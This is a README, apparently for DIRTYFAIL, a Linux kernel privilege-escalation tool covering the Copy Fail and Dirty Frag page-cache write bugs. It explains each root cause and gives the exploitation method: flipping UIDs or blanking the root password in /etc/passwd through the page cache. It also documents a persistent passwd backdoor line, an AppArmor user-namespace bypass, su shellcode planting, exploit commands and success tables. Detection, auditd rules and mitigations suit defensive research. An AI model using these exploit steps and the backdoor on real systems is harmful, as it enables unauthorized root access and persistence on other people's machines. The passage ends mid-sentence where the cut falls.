# DIRTYFAIL > A unified detector and PoC harness for the **Copy Fail** and **Dirty Frag** > Linux page-cache write vulnerability families. ``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝ ``` DIRTYFAIL is a small, well-documented C tool for security researchers. It detects whether a Linux host is vulnerable to the three CVEs in this family, and — with explicit, typed confirmation — runs a real proof-of-concept that drops the caller into a root shell on a vulnerable system. | CVE / variant | Name | DIRTYFAIL coverage | |---|---|---| | **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` page-cache write) | Detect + full PoC | | **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write | Detect + full PoC | | **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | Detect + full PoC | | **CVE-2026-43500** | Dirty Frag — RxRPC page-cache write | Detect + full PoC | | Copy Fail GCM variant | xfrm-ESP `rfc4106(gcm(aes))` page-cache write | Detect + full PoC | **Bonus modes:** - **`--scan --active`** — sentinel-STORE active probes. Default `--scan` reports per-CVE preconditions (kernel, modules, LSM state) plus an active probe of the Copy Fail primitive. Adding `--active` extends the sentinel-file STORE probe to all four other primitives (ESP v4, ESP v6, RxRPC, GCM): each fires the kernel trigger against a `/tmp` sentinel and reports VULNERABLE only if the marker bytes actually land. This is the only way to distinguish a backported-patched kernel (preconds say vulnerable but probe says intact) from an unpatched one without running the full exploit. `/etc/passwd` is never touched. Auto-calibrates V6 STORE shift per kernel build. - **`--exploit-backdoor`** — persistent uid-0 backdoor: length-matched overwrite of a `nologin`/`false`/`sync` line in `/etc/passwd` with `dirtyfail::0:0::/:/bin/bash`. Survives shell exit until page is evicted. State stashed at `/var/tmp/.dirtyfail.state` for `--cleanup-backdoor`. The `dirtyfail` username is deliberately matched to this project so it's instantly identifiable in any audit — change `NEW_USER` in `src/backdoor.c` if you need a different identifier for an authorized red-team engagement. - **AppArmor bypass** — defeats Ubuntu's `apparmor_restrict_unprivileged_userns=1` policy via a single-hop `change_onexec("crun")` re-exec into an unconfined profile that retains userns capabilities. Each exploit mode handles this internally via a fork: parent stays in init namespace, child does the bypass dance, parent reads global page cache and runs `su` for REAL init-ns root. The legacy `--aa-bypass` flag still exists for debugging the bypass mechanics in isolation. See [§8.5 Architecture](#85-architecture-outerinner-fork-based-bypass). ## Verified working on DIRTYFAIL has been **empirically validated end-to-end** across multiple distros and kernel versions. The matrix below reflects per-mode test results from running each `--exploit-*` mode against a fresh install of each distro. | Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode | |---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:| | Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (not tested) | | Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ | | AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ | | Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (hardened) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ | **Legend:** ✅ exploit landed and produced real init-ns root · 🛡 mitigated — exploit cannot reach kernel bug (kernel patched OR LSM blocks unprivileged path) · ⏭ not applicable (precondition missing) ### Active-probe validation (`--scan --active`) The `--active` flag adds a sentinel-file STORE probe per CVE during detection. We validated the probe outputs against the same 4 distros above (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — the matrix below shows the per-mode probe verdict and matches the full-exploit ground-truth one-for-one: | Distro | Copy Fail probe | ESP v4 probe | ESP v6 probe | RxRPC probe | GCM probe | |---|:-:|:-:|:-:|:-:|:-:| | Debian 13.4 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | | Fedora 44 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ | | AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ | | Ubuntu 26.04 | intact 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | The V6 probe's STORE landing offset (8 on Fedora and Alma) matches the empirical `V6_STORE_SHIFT` that `calibrate_v6_shift()` discovers at runtime — confirming the auto-calibration replaces the previously hard-coded constant correctly across kernel builds. ¹ GCM and Backdoor require `algif_aead` to be loadable. Ubuntu 24.04 ships `/etc/modprobe.d/disable-algif_aead.conf` blacklisting it as a Copy Fail mitigation. With the blacklist removed (e.g. on a kernel predating the mitigation), both modes work end-to-end. ² Copy Fail's algif_aead path is mitigated by the modprobe blacklist; the underlying CVE primitive in the kernel is the same whether `authencesn` is reachable. xfrm-ESP, RxRPC, and the GCM variant all land on the same kernel because they don't go through algif_aead. ³ AlmaLinux 10's `kernel-modules-extra` package is not installed by default on a Minimal install, so `rxrpc.ko` is missing on disk. Installing `kernel-modules-extra-$(uname -r)` from EPEL or the AlmaLinux extras repo brings the module back; on a stock minimal install RxRPC is unreachable. ⁴ **Ubuntu 26.04 LTS comprehensively blocks unprivileged exploitation.** The shipping kernel `7.0.0-15.15` (released 2026-04-22) **predates the mainline patch `f4c50a4034e6` (merged 2026-05-07) by ~2 weeks** — so the bug IS still present in the kernel. Ubuntu's defense is **defense-in-depth via AppArmor hardening**, not a kernel patch: - `apparmor_restrict_unprivileged_userns=1` is enabled by default. - On `unshare(CLONE_NEWUSER)`, the kernel-level AppArmor enforcement auto-transitions ANY profile (including `(unconfined)`-flagged ones like `crun`, `chrome`, default `unconfined`) to a `//&unprivileged_userns (mixed)` sub-profile that has `audit deny capability`. uid 0 inside the new userns gets no caps. - `change_onexec` to a different profile doesn't help — even the `crun` profile (which has explicit `userns,` permission and `flags=(unconfined)`) auto-transitions on unshare. Verified via `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` → `crun//&unprivileged_userns (mixed)`. - `newuidmap`/`newgidmap` (setuid root) successfully writes uid_map, but `setresuid(0)` then succeeds while `ioctl(SIOCSIFFLAGS)` and every other CAP_NET_ADMIN-gated syscall returns EPERM because the capability denial is per-namespace, not per-uid. The DIRTYFAIL binary correctly armes its bypass and reaches stage 2, but cannot acquire CAP_NET_ADMIN inside the new userns. The exploit infrastructure is blocked at the LSM layer regardless of bypass technique. We tested `change_onexec(crun)`, `change_onexec(chrome)`, `aa-exec -p `, and direct `unshare(USER|NET) + newuidmap` — all produce the same `unprivileged_userns` sub-profile. **This is good security work by Canonical.** The bug class is mitigated for unprivileged users without requiring a kernel rebuild. A subsequent stable update will likely also bring the kernel patch proper, completing the defense. ⁵ **`--exploit-su` shellcode injection** depends on the same Copy Fail algif_aead 4-byte primitive (`cf_4byte_write`). On kernels where Copy Fail is patched (Debian 13.4) or LSM-blocked (Ubuntu 26.04 — but the algif_aead path was also patched in 7.0.0-15), the plant runs through but the verify step fails ("page cache does not match planted shellcode") and the auto-revert restores `/usr/bin/su`. Tested end-to-end on AlmaLinux 10.1 (entry point at file offset `0x45b0`) and Fedora 44 (offset `0x1b60`); ELF parser handles each distro's PIE base independently. Real-root proof on Fedora 44: `uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`. Test reproducibility: - We re-installed each distro from a clean ISO, set up SSH key auth + NOPASSWD sudo, cloned and built DIRTYFAIL on each, took a `clean-build` Parallels snapshot, then ran all 5 exploit modes with `--no-shell` (auto-revert via fadvise + drop_caches). - Empirical result rows are derived from parsing the actual `--exploit-*` output, looking for the success signals: `page cache now reports with uid 0`, `root password field is now empty`, `is now uid 0` (backdoor), or any of the failure patterns (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`). - For the RxRPC and Backdoor "real root" verification we drove `echo "" | su - root` / `echo "" | su - dirtyfail` and confirmed `uid=0(root)` plus successful read of `/etc/shadow`. > **Authorized testing only.** Use DIRTYFAIL only on systems you own or > are explicitly engaged to assess. The exploit modes corrupt > `/etc/passwd` *in the kernel page cache* (the on-disk file is never > touched). Cleanup is `dirtyfail --cleanup` or > `echo 3 > /proc/sys/vm/drop_caches`. --- ## Table of contents 1. [The bug class](#1-the-bug-class) 2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail) 3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp) 4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc) - [4.5 Architecture overview](#45-architecture-overview) 5. [Build](#5-build) 6. [Usage](#6-usage) 7. [How DIRTYFAIL detects each CVE](#7-how-dirtyfail-detects-each-cve) 8. [How DIRTYFAIL exploits each CVE](#8-how-dirtyfail-exploits-each-cve) - [8.5 Architecture: outer/inner fork-based bypass](#85-architecture-outerinner-fork-based-bypass) 9. [Mitigations](#9-mitigations) 10. [Ethics & disclosure](#10-ethics--disclosure) 11. [Credits](#11-credits) **Companion docs:** - [`docs/DEFENDERS.md`](docs/DEFENDERS.md) — sysadmin playbook: am I vulnerable, how to mitigate, what to monitor. - [`docs/RESEARCH.md`](docs/RESEARCH.md) — kernel-source audit of adjacent paths (AH, IPCOMP, MACsec, kTLS, etc.) for the same bug class. - [`tools/dirtyfail-check.sh`](tools/dirtyfail-check.sh) — standalone bash detector for sysadmins (no compilation needed). - [`tools/99-dirtyfail.rules`](tools/99-dirtyfail.rules) — ready-to-load auditd rules for the exploit chain. - [`tools/dirtyfail-container-escape.sh`](tools/dirtyfail-container-escape.sh) — cross-namespace blast-radius demo. - [`tools/exploit_su_aarch64.S`](tools/exploit_su_aarch64.S) — aarch64 (ARM64) shellcode source for `--exploit-su`. Hardware-untested; ships gated behind `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Regenerate the corresponding bytes in `src/exploit_su.c` with `aarch64-linux-gnu-as` to verify. --- ## 1. The bug class **Page-cache write** vulnerabilities let an unprivileged user modify the kernel's in-memory copy of a file they only have read access to. The on-disk file is never written; the modification persists in RAM until the page is evicted (`drop_caches`, memory pressure, or reboot). This class started with **Dirty Pipe** (CVE-2022-0847), which abused `pipe_buffer` flags. Copy Fail and Dirty Frag are descendants that target the `frag` member of `struct sk_buff` instead. The mechanism is always the same: 1. Userspace `splice()`s a page-cache page from a readable file (e.g. `/etc/passwd`, `/usr/bin/su`) into the frag of a kernel buffer. 2. A receive path runs **in-place** crypto on that buffer — the same pages are both source and destination of the operation. 3. The crypto routine performs a "scratch" STORE outside the data region (a sequence-number rearrangement, a single-block decrypt, etc.) that lands inside the user-pinned page. 4. The page-cache copy of the file is now permanently modified for every reader on the host, until the page is evicted. Because the bug is a **deterministic logic flaw**, not a race, success rates are essentially 100% and the kernel does not panic on failure. --- ## 2. CVE-2026-31431 — Copy Fail * Disclosure: **2026-04-29** * Site: * Original PoC (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail) * Original PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431) * Introduced by commit: `72548b093ee3` (2017) * Fixed by commit: `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables) * Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16 ### Root cause The kernel's `algif_aead` module exposes the AEAD crypto API to userspace via `AF_ALG`. The `authencesn(hmac(sha256), cbc(aes))` template implements RFC-4303 ESN (Extended Sequence Numbers); part of its decryption path performs a **4-byte scratch write** to rearrange the sequence number: ```c static int crypto_authenc_esn_decrypt(struct aead_request *req) { /* Move high-order bits of sequence number to the end. */ scatterwalk_map_and_copy(tmp, src, 0, 8, 0); if (src == dst) { scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★ ... ``` The STORE at ★ is harmless on a normal IPsec packet — it lands inside the skb's tag area, which is kernel-owned. The crypto template **assumes** `src` and `dst` point into kernel memory. `algif_aead` violates that assumption. It accepts `splice()` from userspace, which plants page-cache pages into the request's scatterlist. Because the AEAD runs in-place (`req->dst = req->src`), the page-cache page now sits at the destination scatterlist offset that the scratch write targets. The 4 bytes that get written are bytes 4..7 of the AAD that userspace sent — the "seqno_lo" field of an ESP header, which the attacker fills with whatever they want. **Net primitive**: 4-byte arbitrary-offset write into the page cache of any file the attacker can `open(O_RDONLY)`. ### Exploitation The simplest weaponization is in `/etc/passwd`. A normal user line looks like: ``` kara:x:1000:1000:Kara,,,:/home/kara:/bin/bash ``` Flipping `1000` (the UID field, exactly 4 ASCII bytes for any UID 1000–9999) to `0000` makes glibc's `getpwnam()` report uid=0 for that user. PAM, however, still authenticates against the on-disk `/etc/shadow` (which is untouched), so `su ` prompts for the real password, validates it, then `setuid(0)` — and lands at root because the page-cache copy of `/etc/passwd` says we are root. `/etc/shadow` integrity is preserved. On-disk `/etc/passwd` is preserved. Only the kernel's RAM copy of `/etc/passwd` is corrupted, and only until `drop_caches` or reboot. --- ## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP) * Disclosure: **2026-04-30 → 2026-05-08** * Original PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag) * Researcher: Hyunwoo Kim ([@v4bel](https://x.com/v4bel)) * Introduced by commit: `cac2661c53f3` (2017-01-17) * Fixed by commit: `f4c50a4034e6` (mainline net.git, merged 2026-05-07) * Confirmed affected: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44 ### Root cause `esp_input()` is supposed to call `skb_cow_data()` before in-place AEAD decryption when an skb is non-linear (i.e. has frags). The code path has a short-circuit: ```c if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } else if (!skb_has_frag_list(skb)) { // ★ bug nfrags = skb_shinfo(skb)->nr_frags; nfrags++; goto skip_cow; } } ``` If the skb has frags but no `frag_list`, esp_input bypasses `skb_cow_data` and hands the user-supplied frag straight to the AEAD template. The same `authencesn(...)` scratch write that powers Copy Fail then lands at file offset `(assoclen + cryptlen)` of the spliced page. The 4 STOREd bytes are `seq_hi` from the SA's `replay_esn` state — attacker-controlled at SA registration time via the `XFRMA_REPLAY_ESN_VAL` netlink attribute. **Cost**: registering an XFRM SA needs `CAP_NET_ADMIN`, so the attacker enters a fresh user namespace via `unshare(CLONE_NEWUSER)` first. This is allowed by default on most distros (Ubuntu's hardened profile is the notable exception). **Crucially, this primitive works even when the algif_aead Copy Fail mitigation is in place** — the xfrm path doesn't go through algif_aead. A defender who only blacklisted `algif_aead` is still vulnerable to Dirty Frag. ### Exploitation V4bel's published PoC writes a 192-byte static "root-shell" ELF over the first 192 bytes of `/usr/bin/su`'s page cache, using 48 sequential 4-byte STOREs. After modification, `execve("/usr/bin/su")` runs the new ELF entry point with the setuid-root bit intact, drops PAM entirely, and `execve("/bin/sh")` from inside the shellcode. DIRTYFAIL takes the simpler `/etc/passwd` UID-flip approach (one 4-byte STORE — the same target as Copy Fail) for two reasons: 1. It is a single-write primitive demonstration, easier to study. 2. It is fully reversible with `POSIX_FADV_DONTNEED` and does not leave `/usr/bin/su` in a corrupt state for other users on the system. --- ## 4. CVE-2026-43500 — Dirty Frag (RxRPC) * Disclosure: **2026-04-29 → 2026-05-08** * Patch: not in any tree as of 2026-05-08; researcher's patch pending: `lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/` * Researcher: Hyunwoo Kim ([@v4bel](https://x.com/v4bel)) * Introduced by commit: `2dc334f1a63a` (2023-06) ### Root cause `rxkad_verify_packet_1()` performs an **in-place** `pcbc(fcrypt)` single-block decryption on the first 8 bytes of an RxRPC data packet: ```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE ``` If a page-cache page has been spliced into the skb's frag, the 8-byte decrypt is performed on top of it. **Difference from xfrm-ESP**: the 8 bytes that get STOREd are `fcrypt_decrypt(C, K)`, where `C` is the existing ciphertext at that file offset and `K` is the session key from an RxRPC v1 token the attacker registered via `add_key("rxrpc", ...)`. The attacker doesn't control the STORE value directly — they have to brute-force `K` until `fcrypt_decrypt(C, K)` produces the desired plaintext. `fcrypt` is an Andrew File System cipher with a **56-bit key** and 8-byte block. It is deterministic; it ports cleanly to user space; and its key space is small enough that a constrained 8-byte target can be brute-forced in milliseconds to seconds depending on the constraint budget. **Crucially, this path does NOT need namespace privileges** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` are all available to any unprivileged user. RxRPC fills the gap on Ubuntu's hardened-userns profile (where xfrm-ESP is blocked) because `rxrpc.ko` ships in the default Ubuntu build. ### Exploitation The full exploit: 1. Brute-force `K_A`, `K_B`, `K_C` in user-space such that the three STOREs at `/etc/passwd` offsets 4, 6, 8 produce `"::"`, `"0:"`, `"0:GGGGGG:"` respectively (last-write-wins). 2. For each `K_i`, register an RxRPC v1 token with `add_key`, perform a forged AF_RXRPC handshake against a fake UDP server in the same process, and trigger `rxkad_verify_packet_1` via splice. 3. The page-cache copy of `/etc/passwd` line 1 is now `root::0:0:GGGGGG:/root:/bin/bash` — an empty password field. 4. PAM with `pam_unix.so nullok` accepts the empty password; `su -` drops a root shell. ### DIRTYFAIL coverage DIRTYFAIL ships **both** detection and a full PoC for this CVE. The DIRTYFAIL implementation lives in `src/dirtyfrag_rxrpc.c` and `src/fcrypt.c`: - **fcrypt cipher** (`fcrypt.c`): 56-bit key, 8-byte block, 16-round Feistel; standard rxkad protocol S-boxes. Includes a single-core brute-force harness (~18 Mops/s) that searches the key space until a candidate plaintext satisfies a caller-supplied predicate. - **rxkad checksum** (`compute_csum_iv`, `compute_cksum`): kernel formula reproduced via AF_ALG `pcbc(fcrypt)` so that the wire cksum in our forged DATA packet passes `rxkad_verify_packet`'s gate. - **RxRPC v1 token build** (`build_rxrpc_v1_token`): XDR-encoded rxkad token registered via `add_key("rxrpc", ...)` with our brute-forced session key. - **AF_RXRPC client + UDP fake-server**: the client initiates a call, the fake-server extracts (epoch, cid, callNumber) from the first packet and emits a forged CHALLENGE so the client primes `conn->rxkad.cipher` with our key. - **Splice trigger** (`do_one_trigger`): vmsplice forged DATA wire header → splice 8 bytes from `/etc/passwd` → splice pipe → udp_srv → recvmsg drives kernel through `rxkad_verify_packet_1` → 8-byte STORE. - **3-splice chain with chained-ciphertext correction**: brute force K_A / K_B / K_C, applying the chained ciphertext shift between passes (after splice A overwrites bytes 4..11, splice B's ciphertext at 6..13 starts with `P_A[2..7]`; same for C against B). The final PoC reshapes `/etc/passwd` line 1 to: ``` root::0:0:GGGGG:/root:/bin/bash ``` — empty password field — and `execlp("su", "-")` then drops a root shell because `pam_unix.so nullok` accepts an empty password. For comparison and verification against the upstream PoC, see V4bel's `exp.c`: . --- ## 4.5 Architecture overview DIRTYFAIL is a single C binary built from ~10 source modules. The high-level structure: ``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘ Per-CVE primitives (each has detect/exploit/exploit_inner functions): ┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘ ``` **Key design decisions:** - **Outer/inner split**: every exploit forks a child for the kernel work. Parent stays in init namespace so the eventual `execlp("su", user)` reaches REAL init-ns root. See [§8.5 Architecture](#85-architecture-outerinner-fork-based-bypass). - **Page cache is global**: child writes from inside its bypass userns, parent reads from init ns; same bytes visible. - **Env vars carry parent → child state**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` etc. (backdoor). `execv` preserves the environment across stage transitions. - **Defensive companion**: `--mitigate` deploys the same blacklists + sysctl hardening that distros ship as official mitigations. `--scan` detects when caps are LSM-blocked and reports "mitigated" rather than misleading "VULNERABLE preconditions met". --- ## 5. Build ### Prerequisites * **Linux** (this binary is Linux-only at runtime). * `gcc` or `clang`, `make`. * Linux UAPI headers — specifically ``, ``, ``, ``. | Distro | Install | |-------------------|------------------------------------------------------| | Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` | | RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` | | Fedora | `sudo dnf install gcc make kernel-headers` | | Arch | `sudo pacman -S base-devel` | ### Build commands ```sh git clone https://github.com//DIRTYFAIL.git cd DIRTYFAIL make # release build → ./dirtyfail make debug # -O0 -g3 for gdb make static # static link (musl-gcc recommended) make clean ``` The default build produces a single ~80 KB binary at `./dirtyfail`. For a portable build that runs on any kernel-compatible Linux without glibc dependency drift: ```sh make static CC=musl-gcc ``` (install `musl-tools` on Debian/Ubuntu, or build musl from source). --- ## 6. Usage `./dirtyfail --help` is the canonical reference; the modes broken out by category: **Detection (safe; no system modification):** | Mode | What it does | |---|---| | `--scan` | Run all five detectors (default mode) | | `--scan --active` | Add a sentinel-file STORE probe per CVE — distinguishes preconds-met from actually-exploitable | | `--scan --json` | Emit a single JSON object on stdout (SIEM-friendly); logs go to stderr | | `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Per-CVE detection only | **Exploitation (typed-confirmation gated; corrupts `/etc/passwd` page cache):** | Mode | What it does | |---|---| | `--exploit-copyfail` | UID flip via `algif_aead` 4-byte primitive | | `--exploit-esp` | UID flip via xfrm-ESP v4 (needs userns+CAP_NET_ADMIN) | | `--exploit-esp6` | UID flip via xfrm-ESP v6 | | `--exploit-rxrpc` | Empty root password field via rxkad fcrypt brute force | | `--exploit-gcm` | UID flip via `rfc4106(gcm(aes))` single-byte primitive | | `--exploit-backdoor` | PERSISTENT: insert `dirtyfail::0:0:...:/:/bin/bash` | | `--exploit-su` | V4bel-style: plant arch-specific shellcode at `/usr/bin/su` entry point. x86_64 tested end-to-end; aarch64 ships hardware-untested (gated behind `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) | **Cleanup / state inspection:** | Mode | What it does | |---|---| | `--cleanup` | Evict `/etc/passwd` from page cache (`fadvise` + `drop_caches` if root) | | `--cleanup-backdoor` | Restore the original `/etc/passwd` line from state file | | `--cleanup-su` | Restore `/usr/bin/su` entry-point bytes from state file | | `--list-state` | Report what (if anything) is currently planted; side-effect-free | **Defensive (root required):** | Mode | What it does | |---|---| | `--mitigate` | Blacklist `algif_aead`/`esp4`/`esp6`/`rxrpc` modules; set `apparmor_restrict_unprivileged_userns=1`; drop_caches. Side-effects: breaks IPsec, AFS | | `--cleanup-mitigate` | Remove the modprobe/sysctl files installed by `--mitigate` | **Common options:** | Flag | Effect | |---|---| | `--no-shell` | After a successful exploit, do NOT `execve su` — verify and revert | | `--no-revert` | With `--no-shell`, also skip the auto-revert (used by the container-escape demo) | | `--active` | Add active sentinel-STORE probes to `--scan`/`--check-*` | | `--json` | (with `--scan`) emit machine-readable output | | `--no-color` | Disable ANSI color | | `--aa-bypass` | (DEBUG only) force the AppArmor unprivileged-userns bypass — exploits do this internally, see §8.5 | ### Detection examples Plain scan (preconditions only — fast, ~1s): ```sh ./dirtyfail --scan ``` Active sentinel probe per CVE (~10s, modifies `/tmp` sentinels only): ```sh ./dirtyfail --scan --active ``` JSON for SIEM/fleet ingestion: ```sh $ ./dirtyfail --scan --active --json { "tool": "dirtyfail", "version": "0.1.0", "hostname": "server-01", "kernel": "6.19.10-300.fc44.x86_64", "machine": "x86_64", "active_probes": true, "results": [ {"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"}, {"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"}, {"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"}, {"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"}, {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"} ], "summary": "vulnerable" } ``` Status values: `vulnerable`, `not_vulnerable`, `preconds_missing`, `test_error`. The summary echoes the worst across results. ### Exploit examples (typed confirmation required) ```sh ./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe) ``` Each exploit prompts for `DIRTYFAIL` + (where applicable) `YES_BREAK_SSH` before any page-cache modification. ### State inspection + cleanup ```sh ./dirtyfail --list-state # what's currently planted? (side-effect free) ./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root ./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state ./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state ``` Or fall through to the kernel directly: ```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' ``` --- ## 7. How DIRTYFAIL detects each CVE ### Copy Fail (active sentinel probe) Detection actually triggers the primitive against a sentinel file in `/tmp`: 1. Probe `socket(AF_ALG, SOCK_SEQPACKET, 0)` and `bind` to `authencesn(hmac(sha256), cbc(aes))`. 2. Create a 4 KiB sentinel file in `/tmp` and fault its first page into the cache. 3. Run the full exploit primitive against it: `sendmsg` AAD with `seqno_lo = "PWND"`, splice 32 bytes of the sentinel into the AF_ALG op socket, drive `recv` to fire the scratch write. 4. Re-read the sentinel and look for `PWND` anywhere in the first page. Marker found ⇒ vulnerable. Marker absent but page contents differ ⇒ the primitive partially fired (still vulnerable). Page identical ⇒ not vulnerable on this kernel. ### Dirty Frag xfrm-ESP (precondition-based — or active with `--active`) Default `--scan` is precondition-only — we don't enter a user namespace in detect mode (it would side-effect networking inside that namespace). We check: * kernel version within affected window * `esp4` / `esp6` currently loaded or autoloadable * unprivileged user namespace creation succeeds (probed via fork → child `unshare(CLONE_NEWUSER)`) * AppArmor `apparmor_userns_caps_blocked()` returns false All four present ⇒ VULNERABLE (preconditions met). `--scan --active` extends this with a sentinel-STORE probe: we fork a child that arms the AA bypass, enters a fresh user/net namespace, registers an XFRM SA, and fires the ESP-in-UDP trigger against a `/tmp/dirtyfail-esp-probe.XXXXXX` sentinel file. The parent re-reads the sentinel and looks for the marker bytes: * marker landed → kernel STORE is reachable → **VULNERABLE** * page intact → kernel patch is in effect → **NOT VULNERABLE** * AA bypass denied → **PRECOND_FAIL** (LSM-mitigated) This is the only way to distinguish a backported-patched kernel from an unpatched one without running the full UID-flip exploit against `/etc/passwd`. The same pattern is used for ESP v6, RxRPC, and GCM under `--active`. ### Dirty Frag RxRPC (precondition-based — or active with `--active`) Preconditions: * `rxrpc` in `/proc/modules` or autoloadable * `socket(AF_RXRPC, SOCK_DGRAM, 